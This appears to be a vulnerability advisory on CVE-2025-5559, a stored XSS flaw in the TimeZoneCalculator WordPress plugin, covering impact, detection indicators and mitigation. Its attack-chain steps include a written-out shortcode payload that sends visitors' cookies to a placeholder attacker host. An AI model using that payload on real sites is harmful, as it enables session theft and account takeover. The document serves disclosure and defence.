CVE-2025-5559: 
WordPress vulnerability analysis and mitigation

CVE-2025-5559 is a Stored Cross-Site Scripting (XSS) vulnerability in the TimeZoneCalculator plugin for WordPress, affecting all versions up to and including 3.37. The flaw exists in the timezonecalculator_output shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on June 26, 2025, and carries a CVSS v3.1 base score of 5.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. Authenticated attackers with contributor-level access or higher can embed malicious JavaScript payloads within the timezonecalculator_output shortcode attributes in WordPress posts or pages. Because the plugin fails to properly sanitize input or escape output before rendering, the injected script is stored server-side and executes in the browsers of any user who subsequently visits the affected page (Red Hat CVE, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, enabling session cookie theft, credential harvesting, defacement, or redirection to malicious sites. The confidentiality and integrity impacts are rated low, with no direct availability impact. Because the payload persists on the server and executes for every visitor of the injected page, the blast radius can extend to all site users, including privileged accounts (Red Hat CVE).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is 0.00029, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum contributor-level authentication on the target WordPress site, which limits opportunistic mass exploitation (Wordfence).

1. Reconnaissance: Identify WordPress sites running the TimeZoneCalculator plugin at version 3.37 or earlier, using tools like WPScan or by inspecting page source for plugin references.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert the timezonecalculator_output shortcode with a malicious attribute, e.g., [timezonecalculator_output attribute=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish content: Submit or publish the post/page so the payload is stored in the WordPress database.
5. Trigger execution: When any user (including an administrator) visits the page containing the injected shortcode, the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing timezonecalculator_output shortcode with unusual attribute values including <script>, javascript:, or encoded variants.
• File System / Database: WordPress wp_posts table entries containing timezonecalculator_output shortcode with embedded script tags or event handler attributes (e.g., onerror=, onload=).
• Network: Outbound requests from victim browsers to unexpected external domains shortly after loading pages containing the TimeZoneCalculator shortcode, potentially carrying cookie or session data in query parameters.

WordPress site administrators should update the TimeZoneCalculator plugin to a version beyond 3.37 that includes a fix for this vulnerability, once a patched release is made available by the plugin author (bernhard-riedl). In the interim, sites should restrict contributor-level user registration and content publishing permissions, or temporarily disable the TimeZoneCalculator plugin. Web application firewalls (WAFs) with XSS filtering rules, such as those provided by Wordfence, can provide an additional layer of protection (Wordfence).

Wordfence included CVE-2025-5559 in its weekly WordPress vulnerability report for the period of June 23–29, 2025, as part of routine disclosure coverage. Red Hat also tracked the CVE in its security advisory database. No significant independent researcher commentary or broader media coverage has been identified for this vulnerability (Wordfence, Red Hat CVE).